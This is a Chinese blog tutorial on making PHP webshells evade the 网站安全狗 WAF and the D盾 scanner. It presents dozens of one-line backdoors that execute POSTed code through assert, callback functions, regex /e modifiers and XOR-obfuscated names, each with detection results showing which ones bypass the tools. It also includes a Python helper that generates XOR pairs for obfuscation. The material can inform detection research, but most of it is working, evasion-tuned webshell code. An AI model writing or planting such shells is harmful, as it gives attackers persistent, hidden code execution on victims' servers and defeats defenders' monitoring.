PHP webshell 免杀姿势总结
PHP 有很多经典的免杀姿势可以总结学习,不知道以前国光我在干啥,这个实际上早就该掌握的知识了,果然是“逆水行舟,不进则退”啊 。
环境准备
防护软件 | 官网 | 版本日期 |
---|---|---|
网站安全狗 | 网站安全狗 | 2020-04-02 Apache Apache版 V4.0.28330 |
D盾 | D盾_防火墙 | 2019-10-31 V2.1.5.4 |
安全狗安装比较坑,国光使用 PHPStudty 2018 版本安装的时候,默认是检测不到 服务名的,然后提示:服务名不允许为空
所以安装前得首先安装一下 Apache 服务,首先停止 PHPStudy 的 Apache 和 MySQL 服务,然后以管理员身份运行 CMD ,接着到 Apache 的 bin 目录下执行如下命令:
httpd.exe -k install -n Apache
# 安装成功的输出信息
C:\phpStudy\PHPTutorial\Apache\bin>httpd.exe -k install -n Apache
Installing the 'Apache' service
The 'Apache' service is successfully installed.
Testing httpd.conf....
Errors reported here must be corrected before the service can be started.
如果要卸载服务的话,输入如下命令 :
sc delete Apache
接着先不要着急启动 PHPStudy 服务,手动到 Windows 服务中启动 Apache ,最终效果图如下:
然后就可以愉快地安装安全狗了,大概需要 1 分钟时间。 安装好安全狗之后,记得取消加入“云计划”这个选项:
eval 与 assert
eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行。比如 assert 可这样用:
$f='assert';
$f(...);
此时 $f
就表示 assert
,所以 assert
关键词更加灵活,但是 PHP7 中,assert
也不再是函数了,变成了一个语言结构(类似eval
),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,不过这个暂时不在本文范围内,国光目前先把 PHP5 下的免杀总计好,后面再来慢慢总结 PHP7 下的免杀。
字符串变形
安全狗的规则非常死板,字符串相关函数简单变形一下关键词就可以绕过安全狗的检测了,D 盾的话要严格一点。PHP 内置了一些字符串函数,以下函数国光测试均可以 Bypass 安全狗。
substr()
substr(string,start,length)
substr() 函数返回字符串的一部分。
参数 | 描述 |
---|---|
string | 必需。规定要返回其中一部分的字符串。 |
start | 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始; 负数 - 在从字符串结尾开始的指定位置开始; 0 - 在字符串中的第一个字符处开始 |
length | 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度; 负数 - 从字符串末端返回的长度 |
首先我们来一个基础的字符串拼接:
<?php
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
也许在很久以前这个是可以过 安全狗的,但是直接扑街了,检测结果如下:
安全狗 | D盾 |
---|---|
1 个安全风险 assert 变量函数 | 级别 5 变量函数后门 |
此时我们使用 substr() 函数稍微截断一下:
<?php
$a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
此时就已经过掉安全狗了,D 盾检测级别降到了 4 级,检测结果如下:
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 4 变量函数后门 |
当然我们此时也是可以正常执行命令的:
此时是可以执行简单的命令的。因为临时用的 PHPStudy 环境,所以 D 盾没有完全发挥监控的作用,因为 D 盾得在 IIS 环境下测试才可以完全发挥功能,目前我们只临时用 D 盾做 Webshell 查杀的功能。
另外虽然此时这个 Webshell 已经免杀了,且也可以执行任意命令,但是如果我使用中国菜刀或者中国蚁剑之类的一句话客户端工具去连接的话,依然还是会被拦截的,这个涉及到蚁剑的自定义编码和解码器了,这个会在下文中单独介绍,目前这部分内容我们只研究基本的 Webshell 免杀。
strtr()
strtr(string,from,to)
strtr() 函数转换字符串中特定的字符。
参数 | 描述 |
---|---|
string | 必需。规定要转换的字符串。 |
from | 必需(除非使用数组)。规定要改变的字符。 |
to | 必需(除非使用数组)。规定要改变为的字符。 |
array | 必需(除非使用 from 和 to)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。 |
依然对字符串进行简单地处理一下:
<?php
$a = strtr('azxcvt','zxcv','sser');
$a($_POST['x']);
?>
此时就已经过掉安全狗了,D 盾检测级别降到了 1 级,检测结果如下:
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 1 可疑变量函数 |
substr_replace()
substr_replace(string,replacement,start,length)
substr_replace() 函数把字符串 string 的一部分替换为另一个字符串 replacement。
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
replacement | 必需。规定要插入的字符串。 |
start | 必需。规定在字符串的何处开始替换。正数 - 在字符串中的指定位置开始替换; 负数 - 在从字符串结尾的指定位置开始替换; 0 - 在字符串中的第一个字符处开始替换 |
length | 可选。规定要替换多少个字符。默认是与字符串长度相同。正数 - 被替换的字符串长度; 负数 - 表示待替换的子字符串结尾处距离 string 末端的字符个数。0 - 插入而非替换 |
<?php
$a = substr_replace("asxxx","sert",2);
$a($_POST['x']);
?>
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 1 (可疑)变量函数 |
trim()
trim(string,charlist)
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符 \0 - NULL; \t - 制表符; \n - 换行; \x0B - 垂直制表符; \r - 回车; 空格 |
<?php
$a = trim(' assert ');
$a($_POST['x']);
?>
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 4 变量函数后门 |
函数绕过
函数可以把敏感关键词当做参数传递,不过最近版本的安全狗似乎完善了这种检测规则,测试的几个都没有过狗,但是 D 盾的级别降到了 2 级:
<?php
function sqlsec($a){
$a($_POST['x']);
}
sqlsec(assert);
?>
安全狗 | D盾 |
---|---|
1 个安全风险 assert变量函数 | 级别 2 变量函数后门 |
但是换一种方式将$_POST['x']
当做参数传递的话就都翻车了:
<?php
function sqlsec($a){
assert($a);
}
sqlsec($_POST['x']);
?>
安全狗 | D盾 |
---|---|
1 个安全风险 assert PHP一句话后门 | 已知后门 |
回调函数
前辈们说常⽤的回调函数⼤部分都无法绕过 WAF 了,测试了 P 神博客分享的一些回调函数,发现均被拦截识别出来了。下面还是来手工一个个验证看看吧。
call_user_func()
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
<?php
call_user_func('assert',$_POST['x']);
?>
这种传统的回调后门,看了 P 神的博客,15 年的时候就已经被一些安全厂商盯上了……
安全狗 | D盾 |
---|---|
1 个安全风险 call_user_func后门 | 级别 5 (内藏) call_user_func后门 |
call_user_func_array()
call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback
)调用,把参数数组作(param_arr
)为回调函数的的参数传入。
<?php
call_user_func_array(assert,array($_POST['x']));
?>
不过安全狗和 D 盾都对这个函数进行检测了:
安全狗 | D盾 |
---|---|
1 个安全风险 call_user_func_array回调后门 | 级别 4 call_user_func_array |
array_filter()
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array
数组中的每个值传递到 callback
函数。如果 callback
函数返回 true,则 array
数组的当前值会被包含在返回的结果数组中,数组的键名保留不变。
<?php
array_filter(array($_POST['x']),'assert');
?>
依然无法 Bypass
安全狗 | D盾 |
---|---|
1 个安全风险 array_filter后门 | 级别 5 array_filter后门 |
看了下 P 神文章中的要更加灵活一些,assert 手动 Base64 编码后传入,这样还会把 assert 关键词给去掉了:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
?>
安全狗 | D盾 |
---|---|
1 个安全风险 array_filter后门 | 级别 4 array_filter 参数 |
array_map()
array_map(myfunction,array1,array2,array3...)
参数 | 描述 |
---|---|
myfunction | 必需。用户自定义函数的名称,或者是 null。 |
array1 | 必需。规定数组。 |
array2 | 可选。规定数组。 |
array3 | 可选。规定数组。 |
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。和 arrray_walk() 函数差不多:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
?>
依然被杀了,检测结果如下:
安全狗 | D盾 |
---|---|
1 个安全风险 array_map执行 | 级别 5 已知后门 |
array_walk()
array_walk(array,myfunction,parameter...)
array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。用户自定义函数的名称。 |
userdata,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。 |
简单案例:
<?php
function myfunction($value,$key)
{
echo "The key $key has the value $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction");
?>
运行结果如下:
The key a has the value red
The key b has the value green
The key c has the value blue
根据这个特性手动来写一个 webshell 试试看:
<?php
function sqlsec($value,$key)
{
$x = $key.$value;
$x($_POST['x']);
}
$a=array("ass"=>"ert");
array_walk($a,"sqlsec");
?>
这个 array_walk 有点复杂,国光我瞎折腾写了上面的这个 webshell 居然过掉狗了,不过这里用的是回调函数和自定义函数结合的姿势了。
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 2 (可疑)变量函数 |
看了下网上其他师傅们的姿势:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x'] => '|.*|e',);
array_walk($arr, $e, '');
?>
此时提交如下 payload 的话:
shell.php?e=preg_replace
最后就相当于执行了如下语句:
preg_replace('|.*|e',$_POST['x'],'')
这个时候只需要 POST x=phpinfo();
即可。这种主要是利用了 preg_replace 的 /e 模式进行代码执行,关于这一块知识不懂的朋友可以参考我写的另一篇文章:PHP preg_系列漏洞小结
不过这种方法已经凉了,安全狗和 D 盾均可以识别,而且这种 preg_replace 三参数后门的 /e
模式 PHP5.5 以后就废弃了:
安全狗 | D盾 |
---|---|
1 个安全风险 array_walk执行 | 级别 5 已知后门 |
不过 PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:
mb_ereg_replace
mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
类似于 preg_replace 函数一样,也可以通过 e 修饰符来执行命令:
<?php
mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>
preg_filter
mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_filter() 等价于 preg_replace() ,但它仅仅返回与目标匹配的结果。
<?php
preg_filter('|\d|e', $_REQUEST['x'], '2');
?>
只是比较可惜,都无法过狗和D盾了。不过问题不大,感兴趣小伙伴可以去查阅 PHP 官方文档,还是可以找到类似函数的,国光亲测可以过狗和D盾。
<?php
mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>
array_walk_recursive()
array_walk_recursive(array,myfunction,parameter...)
array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。该函数与 array_walk()函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。用户自定义函数的名称。 |
userdata,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。 |
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?>
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
array_reduce()
array_reduce(array,myfunction,initial)
array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
myfunction | 必需。规定函数的名称。 |
initial | 可选。规定发送到函数的初始值。 |
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['x']);
?>
POST 提交如下数据:e=assert&x=phpinfo();
但是目前已经无法过狗了,GG:
安全狗 | D盾 |
---|---|
1 个安全风险 array_reduce执行 | 级别 5 已知后门 |
array_udif()
array_diff(array1,array2,array3...);
array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。
参数 | 描述 |
---|---|
array1 | 必需。与其他数组进行比较的第一个数组。 |
array2 | 必需。与第一个数组进行比较的数组。 |
array3,… | 可选。与第一个数组进行比较的其他数组。 |
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
?>
POST 提交如下数据:e=assert&x=phpinfo();
但是目前已经无法过狗了,GG:
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
uasort()
uasort(array,myfunction);
uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。
参数 | 描述 |
---|---|
array | 必需。规定要进行排序的数组。 |
myfunction | 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。 |
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['x']);
uasort($arr, base64_decode($e));
?>
POST 提交的数据如下:e=YXNzZXJ0&x=phpinfo();
这个后门在 PHP 5.3之后可以正常运行,5.3 会提示 assert 只能有1个参数,这是因为 assert 多参数是后面才开始新增的内容,PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数,如果设置了,用于将 description
指定到 **assert()**。:
安全狗 | D盾 |
---|---|
1 个安全风险 PHP回调木马 | 级别 4 uasort 参数 |
还有一个面向对象的方法:
<?php
$arr = new ArrayObject(array('test', $_REQUEST['x']));
$arr->uasort('assert');
?>
uksort()
uksort(array,myfunction);
uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。
参数 | 描述 |
---|---|
array | 必需。规定要进行排序的数组。 |
myfunction | 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数,那么比较函数必须返回一个小于等于或大于 0 的整数。 |
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['x'] => 2);
uksort($arr, $e);
?>
POST 的内容如下:e=assert&x=phpinfo();
该方法也不能 Bypass 安全狗了:
安全狗 | D盾 |
---|---|
1 个安全风险 php后门回调木马 | 级别 5 已知后门 |
还有一个面向对象的方法:
<?php
$arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
$arr->uksort('assert');
?>
registregister_shutdown_function()
register_shutdown_function ( callable $callback [, mixed $... ] ) : void
注册一个 callback
,它会在脚本执行完成或者 exit() 后被调用。
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['x']);
?>
安全狗 1 级,D 盾 5 级 已知后门。
register_tick_function()
register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
注册在调用记号时要执行的给定函数。
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['x']);
?>
安全狗 1 级,D 盾 5 级 已知后门。
filter_var()
filter_var(variable, filter, options)
filter_var() 函数通过指定的过滤器过滤变量。
参数 | 描述 |
---|---|
variable | 必需。规定要过滤的变量。 |
filter | 可选。规定要使用的过滤器的 ID。 |
options | 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。 |
<?php
filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>
安全狗 1 级,D 盾 5 级 已知后门。
filter_var_array()
filter_var_array(array, args)
filter_var_array() 函数获取多项变量,并进行过滤。
参数 | 描述 |
---|---|
array | 必需。规定带有字符串键的数组,包含要过滤的数据。 |
args | 可选。规定过滤器参数数组。合法的数组键是变量名。合法的值是过滤器 ID,或者规定过滤器、标志以及选项的数组。该参数也可以是一个单独的过滤器 ID,如果是这样,输入数组中的所有值由指定过滤器进行过滤。 |
<?php
filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>
安全狗 0 级,D 盾 5 级 已知后门。
异或
P 神的一篇经典文章 一些不包含数字和字母的webshell 里面提到了异或的姿势,目前只有第一种方法可以过狗了,后面两种方法以及不行了….. 所以本课只重点带大家来看一下第一种姿势。我们只要稍微修改一下也可以轻松过掉安全狗:
<?php
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
此时就已经过掉安全狗了,D 盾检测级别降到了 3 级,检测结果如下:
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 3 变量函数 |
关于异或国光用 Python 写了一个体验比较友好的脚本:
import string
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []
for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
results.sort(key=lambda x:x[1], reverse=False)
for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])
for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])
脚本运行效果如下:
python3 xxx.py > results.txt
此时就会在当前路径下生成 results.txt 文件,这里存放着 1k 多异或结果,国光不仅进行了字母排序,而且也考虑到一些不可打印字符,而且也添加了 URL 编码,让大家找起来更加直观一些,提高工作效率:
继续回到免杀, D 盾这里检测到了变量函数:
<?php
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$a($c['x']);
?>
这里只是为了过 D 盾,所以就没有都异或,P 神的文章中比较苛刻,不能出现字母和数字,所以全都异或了一遍,国光比较懒,这里只是把 _POST
通过字符串拼接组装一下,然后当做变量传入即可过掉 D 盾了,级别降到 1 级了:
安全狗 | D盾 |
---|---|
0 个安全风险 | 级别 1 变量函数 |
register_tick_function()
register_tick_function ( callable $function [, mixed $... ] ) : bool
注册在调用记号时要执行的给定函数。
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['x']);
参考资料
- 一些不包含数字和字母的webshell
- 一句话木马变种免杀
- 本地搭建安全狗无法安装插件问题的解决方法
- 一句话木马的套路
- 免杀webshell的一些研究
- Webshell免杀
- 创造tips的秘籍——PHP回调后门
- 【WEB】webshell回调php总结
- PHP动态特性的捕捉与逃逸
- 随机异或无限免杀D盾之再免杀
- php webshell检测与绕过
支持一下
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
![]() |
支付宝
![]() |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光